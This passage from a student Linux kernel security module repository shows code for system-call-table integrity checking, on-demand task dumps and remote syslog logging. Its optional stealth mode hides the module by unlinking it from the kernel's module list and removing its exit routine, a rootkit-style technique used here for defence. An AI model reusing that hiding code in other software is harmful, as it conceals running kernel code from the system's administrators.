140 | ret = init_task_dump();
141 |
142 | if(ret)
143 | {
144 | print_log(KERN_INFO MODULE_NAME ":\t[+] Initiliazed task_dump component\n");
145 | }
146 | else
147 | {
148 | print_log(KERN_ERR MODULE_NAME ":\t[-] Failed to initialize task_dump component\n");
149 |
150 | return -ETASKDUMP;
151 | }
152 |
153 | if(!sys_call_table_monitoring)
154 | {
155 | print_log(KERN_INFO MODULE_NAME ":\t[-] Skipping monitoring of the system call table\n");
156 |
157 | return 0;
158 | }
159 |
160 | ret = init_sys_call_table_integrity_checker(MODULE_NAME, sys_call_table_check_interval, &carbonite);
161 |
162 | if(ret)
163 | {
164 | print_log(KERN_INFO MODULE_NAME ":\t[+] Initialized timer for checking the integrity of the system call table (check interval: %u)\n",
165 | sys_call_table_check_interval);
166 | }
167 | else
168 | {
169 | print_log(KERN_ERR MODULE_NAME ":\t[-] Failed to initialize system call table checker\n");
170 |
171 | return -ESYSTABLE;
172 | }
173 |
174 | ret = init_logger(remote_log_ip);
175 |
176 | if(ret)
177 | {
178 | print_log(KERN_INFO MODULE_NAME ":\t[+] Initiliazed logger\n");
179 | }
180 | else
181 | {
182 | print_log(KERN_ERR MODULE_NAME ":\t[-] Failed to initialize logger\n");
183 |
184 | return -ELOGGER;
185 | }
186 |
187 | if(stealth)
188 | {
189 | /* Delete ourselves from the kernel's modules list
190 | * and free our destruction code, in order to avoid
191 | * to be dispatcehd by an attacker that is aware of us.
192 | */
193 |
194 | list_del(&THIS_MODULE->list);
195 | THIS_MODULE->exit = NULL;
196 |
197 | print_log(KERN_INFO MODULE_NAME ":\t[+] Stealth mode is enabled\n");
198 | }
199 | else
200 | {
201 | print_log(KERN_INFO MODULE_NAME ":\t[-] Stealth mode is not enabled\n");
202 | }
203 |
204 | return 0;
205 | }
206 |
207 | void __exit carbonite_exit(void)
208 | {
209 | print_log(KERN_INFO MODULE_NAME ":\t[+] Exiting\n");
210 |
211 | destroy_command_chrdev();
212 |
213 | if(sys_call_table_monitoring)
214 | {
215 | destroy_sys_call_table_integrity_checker();
216 | }
217 |
218 | destroy_task_dump();
219 |
220 | destroy_logger();
221 | }
222 |
223 | module_init(carbonite_init);
224 | module_exit(carbonite_exit);
225 |
226 | MODULE_LICENSE("GPL");
227 | MODULE_AUTHOR("Panos Sakkos ");
228 | MODULE_DESCRIPTION("Security extensions for the linux kernel, as described in \"Special Focus Issue: Security\"\n"
229 | "\t\tarticle, by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project will merge\n"
230 | "\t\tthe 2 suggestions in a kernel module that is compatible with the lastest versions of the\n"
231 | "\t\tlinux kernel and will also include some modern security mechanisms. Project for the master course\n"
232 | "\t\t\"Advanced Operating Systems\", instructed by Mema Rousopoulos \n");
233 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/carbonite.h:
--------------------------------------------------------------------------------
1 | #ifndef __CARBONITE__
2 | #define __CARBONITE__
3 |
4 | #define MODULE_NAME "the-drip-dry-carbonite"
5 |
6 | #define ECHARDEV 200
7 | #define ETASKDUMP 300
8 | #define ESYSTABLE 400
9 | #define ELOGGER 500
10 |
11 | /* Parameter of carbonite symbol */
12 |
13 | #define NONE -1
14 | #define ON_DEMAND 0
15 | #define AFTER_INCIDENT 1
16 | #define AFTER_MODULE_INIT 2
17 |
18 | #endif
19 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/command-chrdev.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #include "command-chrdev.h"
25 | #include
26 | #include
27 | #include
28 | #include
29 | #include "proc-entry.h"
30 | #include "carbonite.h"
31 |
32 | static int command_major;
33 | static char commanding_module[MODULE_NAME_LEN];
34 | static char chrdev_name[MODULE_NAME_LEN + 8]; //+ 8 chars for the "command-" prefix
35 | static char proc_file_name[MODULE_NAME_LEN + 8 + 6]; //+6 for the "-major" ending
36 |
37 |
38 | static void (*command) (int);
39 |
40 | long command_ioctl(struct file *file, unsigned int ioctl_num, unsigned long ioctl_param)
41 | {
42 | switch(ioctl_num)
43 | {
44 | case IOCTL_CARBONITE_COMMAND:
45 |
46 | if(!capable(CAP_SYS_ADMIN))
47 | {
48 | /* Bugger off! */
49 |
50 | return -EPERM;
51 | }
52 |
53 | if(command)
54 | {
55 | command(ON_DEMAND);
56 | }
57 |
58 | break;
59 | default:
60 | printk(KERN_ERR "%s:\t[-] Invalid ioctl command\n", commanding_module);
61 | return -ENOTTY;
62 | }
63 |
64 | return 0;
65 | }
66 |
67 | static const struct file_operations command_fops = {
68 | .owner = THIS_MODULE,
69 | .unlocked_ioctl = command_ioctl,
70 | };
71 |
72 | int init_command_chrdev(const char *module_name, void (*function) (int))
73 | {
74 | int ret;
75 | char major_number_string[10];
76 |
77 | if(module_name == NULL)
78 | {
79 | printk(KERN_ERR "init_char_dev:\t[-] NULL module name passed as argument\n");
80 |
81 | return 0;
82 | }
83 |
84 | strncpy(commanding_module, (char *) module_name, MODULE_NAME_LEN);
85 |
86 | if(function == NULL)
87 | {
88 | printk(KERN_ERR "%s:\t[-] NULL function pointer passed as argument\n", commanding_module);
89 |
90 | return 0;
91 | }
92 |
93 | command = function;
94 | strncpy(chrdev_name, "command-", 9);
95 | strncat(chrdev_name, commanding_module, MODULE_NAME_LEN);
96 |
97 | command_major = register_chrdev(0, chrdev_name, &command_fops);
98 |
99 | if(command_major < 0)
100 | {
101 | printk(KERN_ERR "%s:\t[-] Failed to initialize file operations with major number %d\n",
102 | commanding_module, command_major);
103 |
104 | return 0;
105 | }
106 |
107 | /* Create a proc entry to expose the device's major number */
108 |
109 | sprintf(proc_file_name, "%s%s", chrdev_name, "-major");
110 | sprintf(major_number_string, "%d", command_major);
111 |
112 | ret = init_proc_entry(proc_file_name, major_number_string);
113 |
114 | if(!ret)
115 | {
116 | printk(KERN_ERR "%s:\t[-] Failed to create proc fs entry\n", commanding_module);
117 | destroy_command_chrdev();
118 |
119 | return 0;
120 | }
121 |
122 | printk(KERN_INFO "%s:\t[+] Registered successfully character device %s and major number %d\n",
123 | commanding_module, chrdev_name, command_major);
124 | printk(KERN_INFO "%s:\t[+] Create the file node by executing `mknod /dev/%s c %d 0`\n",
125 | commanding_module, chrdev_name, command_major);
126 |
127 | return 1;
128 | }
129 |
130 | void destroy_command_chrdev(void)
131 | {
132 | destroy_proc_entry();
133 | unregister_chrdev(command_major, chrdev_name);
134 |
135 | command = NULL;
136 | command_major = commanding_module[0] = chrdev_name[0] = 0;
137 |
138 | }
139 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/command-chrdev.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #ifndef _COMMAND_CHRDEV_
25 | #define _COMMAND_CHRDEV_
26 |
27 | #include
28 |
29 | #define IOCTL_CARBONITE_COMMAND _IO('c', 0)
30 |
31 | #ifdef MODULE
32 |
33 | /* Called with parameters the name of the module that will
34 | * use the char-dev command facility and the function pointer
35 | * to the function-command.
36 | */
37 |
38 | int init_command_chrdev(const char *module_name, void (*function) (int));
39 |
40 | void destroy_command_chrdev(void);
41 |
42 | #endif
43 |
44 | #endif
45 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/logger.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #include
25 | #include
26 | #include
27 | #include
28 | #include
29 | #include
30 | #include
31 | #include "carbonite.h"
32 |
33 | #define UDP_LOG_PORT 514
34 | #define BUFFER_SIZE 1920
35 |
36 | static int log_remote;
37 |
38 | static struct socket *sock;
39 | static struct sockaddr_in log_addr;
40 |
41 | /* We cannot send messages when in atomic, so we create work
42 | * queues and add works that they will send the messages in process context
43 | */
44 |
45 | static struct workqueue_struct *remote_log_work_queue;
46 |
47 | struct remote_log_work
48 | {
49 | struct work_struct my_work;
50 | char *buffer;
51 | };
52 |
53 | void ksocket_send(struct work_struct *work)
54 | {
55 | int length;
56 | char *buffer;
57 | struct iovec iov;
58 | struct msghdr msg;
59 | mm_segment_t oldfs;
60 | struct remote_log_work *remote_log_work;
61 |
62 | if(!sock || !sock->sk || !work)
63 | {
64 | return;
65 | }
66 |
67 | remote_log_work = (struct remote_log_work *) work;
68 | buffer = remote_log_work->buffer;
69 | length = strnlen(buffer, BUFFER_SIZE);
70 |
71 | memset(&msg, 0, sizeof(struct msghdr));
72 | msg.msg_flags = 0;
73 | msg.msg_name = (struct sockaddr *) &log_addr;
74 | msg.msg_namelen = sizeof(struct sockaddr_in);
75 | msg.msg_iov = &iov;
76 | msg.msg_iovlen = 1;
77 | msg.msg_control = NULL;
78 | msg.msg_controllen = 0;
79 | iov.iov_base = (char *) buffer;
80 | iov.iov_len = length;
81 |
82 | oldfs = get_fs();
83 | set_fs(KERNEL_DS);
84 |
85 | /* If it fails to send the message it will not log any alert.
86 | * There is nothing we can do more. Persistent sending may cause problems.
87 | */
88 |
89 | sock_sendmsg(sock, &msg, (size_t) length);
90 | set_fs(oldfs);
91 |
92 | kfree(remote_log_work->buffer);
93 | kfree(work);
94 | }
95 |
96 | int remote_udp_log(const char *format, va_list args)
97 | {
98 | char buffer[BUFFER_SIZE + 1];
99 | int length, remaining, bytes_written;
100 |
101 | length = 0;
102 | remaining = BUFFER_SIZE;
103 |
104 | if(!sock)
105 | {
106 | return -1;
107 | }
108 |
109 | {
110 | /* Get time */
111 |
112 | struct rtc_time tm;
113 | struct timespec curtime = CURRENT_TIME;
114 |
115 | rtc_time_to_tm(curtime.tv_sec, &tm);
116 | bytes_written = snprintf(buffer, remaining, "%d-%02d-%dT%d:%d:%d.%d+00:00 ",
117 | 1900 + tm.tm_year, tm.tm_mon, tm.tm_mday, tm.tm_hour,
118 | tm.tm_min, tm.tm_sec, (unsigned int) curtime.tv_nsec / 1000);
119 | }
120 |
121 | if(bytes_written >= remaining)
122 | {
123 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to log message (too long message)\n");
124 |
125 | return 0;
126 | }
127 |
128 | length += bytes_written;
129 | remaining -= length;
130 |
131 | {
132 | /* Get uts name */
133 |
134 | struct new_utsname *uts_name;
135 |
136 | uts_name = utsname();
137 |
138 | bytes_written = snprintf(buffer + length, __NEW_UTS_LEN, "%s", uts_name->nodename);
139 |
140 | if(bytes_written >= __NEW_UTS_LEN)
141 | {
142 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to log message (too long message)\n");
143 |
144 | return 0;
145 | }
146 |
147 | length += bytes_written;
148 | remaining -= length;
149 | }
150 |
151 | /* Add module's name and the log message */
152 |
153 | bytes_written = snprintf(buffer + length, remaining, " kernel: " MODULE_NAME ": ");
154 |
155 | if(bytes_written >= remaining)
156 | {
157 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to log message (too long message)\n");
158 |
159 | return 0;
160 | }
161 |
162 | length += bytes_written;
163 | remaining -= length;
164 |
165 | bytes_written = vsnprintf(buffer + length, remaining, format, args);
166 |
167 | if(bytes_written >= remaining)
168 | {
169 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to log message (too long message)\n");
170 |
171 | return 0;
172 | }
173 |
174 | length += bytes_written;
175 | remaining -= length;
176 |
177 | buffer[length++] = '\0';
178 |
179 | {
180 | struct remote_log_work *remote_log_work;
181 |
182 | remote_log_work = kmalloc(sizeof(struct remote_log_work), GFP_ATOMIC);
183 |
184 | if(remote_log_work == NULL)
185 | {
186 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to log message (work allocation failed)\n");
187 |
188 | return 0;
189 | }
190 |
191 | remote_log_work->buffer = kmalloc(sizeof(char) * length, GFP_ATOMIC);
192 |
193 | if(remote_log_work->buffer == NULL)
194 | {
195 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to log message (work buffer allocation failed)\n");
196 | kfree(remote_log_work);
197 |
198 | return 0;
199 | }
200 |
201 | strncpy(remote_log_work->buffer, buffer, length);
202 |
203 | INIT_WORK((struct work_struct *) remote_log_work, ksocket_send);
204 | queue_work(remote_log_work_queue, (struct work_struct *) remote_log_work);
205 | }
206 |
207 | return length;
208 | }
209 |
210 | int print_log(const char *format, ...)
211 | {
212 | int bytes, i;
213 | va_list args;
214 | char log_level[4] = { '\0' };
215 |
216 | if(!format)
217 | {
218 | return -1;
219 | }
220 |
221 | /* Get first 3 characters of the format, it's the log level */
222 |
223 | i = 0;
224 | while(i < 3 && format[i] != '\0')
225 | {
226 | log_level[i] = format[i];
227 | i++;
228 | }
229 |
230 | va_start(args, format);
231 | bytes = vprintk(format, args);
232 |
233 | if(log_remote)
234 | {
235 | remote_udp_log(format, args);
236 | }
237 |
238 | va_end(args);
239 |
240 | return bytes;
241 | }
242 |
243 | int init_logger(char *ip)
244 | {
245 | if(sock)
246 | {
247 | printk(KERN_ERR MODULE_NAME ":\t[-] Logger was already initialized\n");
248 |
249 | return 0;
250 | }
251 |
252 | if(ip)
253 | {
254 | printk(KERN_INFO MODULE_NAME ":\t[+] Remote logging is enabled\n");
255 |
256 | log_remote = 1;
257 |
258 | log_addr.sin_family = AF_INET;
259 | log_addr.sin_port = htons(UDP_LOG_PORT);
260 | log_addr.sin_addr.s_addr = in_aton(ip);
261 |
262 |
263 | if(sock_create_kern(AF_INET, SOCK_DGRAM, IPPROTO_UDP, &sock) < 0)
264 | {
265 | sock = NULL;
266 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to create the socket\n");
267 |
268 | return 0;
269 | }
270 |
271 | remote_log_work_queue = create_workqueue("remote_log_work_queue");
272 |
273 | if(!remote_log_work_queue)
274 | {
275 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to create the work queue\n");
276 |
277 | return 0;
278 | }
279 | }
280 | else
281 | {
282 | printk(KERN_INFO MODULE_NAME ":\t[-] Remote logging is not enabled\n");
283 | }
284 |
285 | return 1;
286 | }
287 |
288 | void destroy_logger(void)
289 | {
290 | if(sock)
291 | {
292 | sock_release(sock);
293 | sock = NULL;
294 | }
295 |
296 | if(remote_log_work_queue)
297 | {
298 | destroy_workqueue(remote_log_work_queue);
299 | }
300 | }
301 |
302 |
303 |
304 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/logger.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #ifndef __MY_LOGGER__
25 | #define __MY_LOGGER__
26 |
27 | #define MAX_LOG_LEN 1024
28 |
29 | int init_logger(char *ip);
30 |
31 | int print_log(const char *format, ...);
32 |
33 | void destroy_logger(void);
34 |
35 | #endif
36 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/my-kallsyms.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #include "my-kallsyms.h"
25 | #include
26 | #include
27 | #include
28 | #include
29 |
30 | unsigned long target_address;
31 |
32 | int find(void *data, const char *name, struct module *module, unsigned long address)
33 | {
34 | char *target_name = (char *) data;
35 |
36 | if(!strncmp(target_name, name, KSYM_NAME_LEN))
37 | {
38 | target_address = address;
39 | return 1;
40 | }
41 |
42 | return 0;
43 | }
44 |
45 | int return_next_symbol;
46 |
47 | int find_next(void *data, const char *name, struct module *module, unsigned long address)
48 | {
49 | unsigned long target = * (unsigned long *) data;
50 |
51 | if(target == address)
52 | {
53 | return_next_symbol = 1;
54 | return 0;
55 | }
56 |
57 | if(return_next_symbol)
58 | {
59 | target_address = address;
60 | return 1;
61 | }
62 |
63 | return 0;
64 | }
65 |
66 | unsigned long find_next_symbol(unsigned long target_symbol)
67 | {
68 | target_address = 0;
69 | return_next_symbol = 0;
70 |
71 | kallsyms_on_each_symbol(&find_next, (void *) &target_symbol);
72 |
73 | return target_address;
74 | }
75 |
76 | unsigned long my_kallsyms_lookup_name(const char *name)
77 | {
78 | #if LINUX_VERSION_CODE <= KERNEL_VERSION(2, 6, 32)
79 | target_address = 0;
80 |
81 | kallsyms_on_each_symbol(&find, (void *) name);
82 |
83 | return target_address;
84 | #else
85 | return kallsyms_lookup_name(name);
86 | #endif
87 | }
88 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/my-kallsyms.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #ifndef __MY_KALLSYMS__
25 | #define __MY_KALLSYMS__
26 |
27 | unsigned long my_kallsyms_lookup_name(const char *name);
28 |
29 | unsigned long find_next_symbol(unsigned long target_symbol);
30 |
31 | #endif
32 |
33 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/proc-entry.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #include "proc-entry.h"
25 | #include
26 | #include
27 |
28 | static char *proc_file_name, *data_to_expose;
29 | static struct proc_dir_entry *proc_entry;
30 |
31 | int procfile_read(char *buffer, char **buffer_location, off_t offset, int buffer_length, int *eof, void *data)
32 | {
33 | if(offset > 0)
34 | {
35 | /* Nothing else to do */
36 |
37 | return 0;
38 | }
39 | else
40 | {
41 | return sprintf(buffer, "%s", data_to_expose);
42 | }
43 | }
44 |
45 | int init_proc_entry(char *name, char *data)
46 | {
47 | if(proc_entry != NULL)
48 | {
49 | return 0;
50 | }
51 |
52 | proc_file_name = kmalloc(strlen(name) * sizeof(char) + 1, GFP_ATOMIC);
53 |
54 | if(!proc_file_name)
55 | {
56 | return 0;
57 | }
58 |
59 | strcpy(proc_file_name, name);
60 |
61 | data_to_expose = kmalloc(strlen(data) * sizeof(char) + 1, GFP_ATOMIC);
62 |
63 | if(!data_to_expose)
64 | {
65 | return 0;
66 | }
67 |
68 | strcpy(data_to_expose, data);
69 |
70 | proc_entry = create_proc_entry(proc_file_name, 0400, NULL);
71 |
72 | if(proc_entry == NULL)
73 | {
74 | return 0;
75 | }
76 |
77 | proc_entry->read_proc = procfile_read;
78 | proc_entry->mode = S_IFREG | S_IRUGO;
79 | proc_entry->uid = 0;
80 | proc_entry->gid = 0;
81 | proc_entry->size = strlen(data_to_expose);
82 |
83 | return 1;
84 | }
85 |
86 | void destroy_proc_entry(void)
87 | {
88 | if(proc_entry)
89 | {
90 | remove_proc_entry(proc_file_name, NULL);
91 | }
92 |
93 | if(proc_file_name)
94 | {
95 | kfree(proc_file_name);
96 | }
97 |
98 | if(data_to_expose)
99 | {
100 | kfree(data_to_expose);
101 | }
102 | }
103 |
104 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/proc-entry.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #ifndef _PROC_ENTRY_
25 | #define _PROC_ENTRY_
26 |
27 | int init_proc_entry(char *name, char *data);
28 |
29 | void destroy_proc_entry(void);
30 |
31 | #endif
32 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/super-fast-hash.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Original author: Paul Hsieh
3 | *
4 | * http://azillionmonkeys.com/qed/hash.html
5 | */
6 |
7 | #include
8 |
9 | #undef get16bits
10 | #if (defined(__GNUC__) && defined(__i386__)) || defined(__WATCOMC__) \
11 | || defined(_MSC_VER) || defined (__BORLANDC__) || defined (__TURBOC__)
12 | #define get16bits(d) (*((const uint16_t *) (d)))
13 | #endif
14 |
15 | #if !defined (get16bits)
16 | #define get16bits(d) ((((uint32_t)(((const uint8_t *)(d))[1])) << 8) \
17 | +(uint32_t)(((const uint8_t *)(d))[0]) )
18 | #endif
19 |
20 | uint32_t super_fast_hash(const char *data, unsigned int len) {
21 | int rem;
22 | uint32_t hash = len, tmp;
23 | if (len == 0 || data == NULL)
24 | return 0;
25 | rem = len & 3;
26 | len >>= 2;
27 | /* Main loop */
28 | for (;len > 0; len--) {
29 | hash += get16bits (data);
30 | tmp = (get16bits (data + 2) << 11) ^ hash;
31 | hash = (hash << 16) ^ tmp;
32 | data += 2 * sizeof (uint16_t);
33 | hash += hash >> 11;
34 | }
35 | /* Handle end cases */
36 | switch (rem) {
37 | case 3: hash += get16bits (data);
38 | hash ^= hash << 16;
39 | hash ^= data[sizeof (uint16_t)] << 18;
40 | hash += hash >> 11;
41 | break;
42 | case 2: hash += get16bits (data);
43 | hash ^= hash << 11;
44 | hash += hash >> 17;
45 | break;
46 | case 1: hash += *data;
47 | hash ^= hash << 10;
48 | hash += hash >> 1;
49 | }
50 | /* Force "avalanching" of final 127 bits */
51 | hash ^= hash << 3;
52 | hash += hash >> 5;
53 | hash ^= hash << 4;
54 | hash += hash >> 17;
55 | hash ^= hash << 25;
56 | hash += hash >> 6;
57 | return hash;
58 | }
59 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/super-fast-hash.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #ifndef _SUPER_FAST_HASH_
25 | #define _SUPER_FAST_HASH_
26 |
27 | uint32_t super_fast_hash(const char *data, unsigned int len);
28 |
29 | #endif
30 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/sys-call-table-integrity-check.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #include
25 | #include
26 | #include
27 | #include
28 | #include
29 | #include "my-kallsyms.h"
30 | #include "sys-call-table-integrity-check.h"
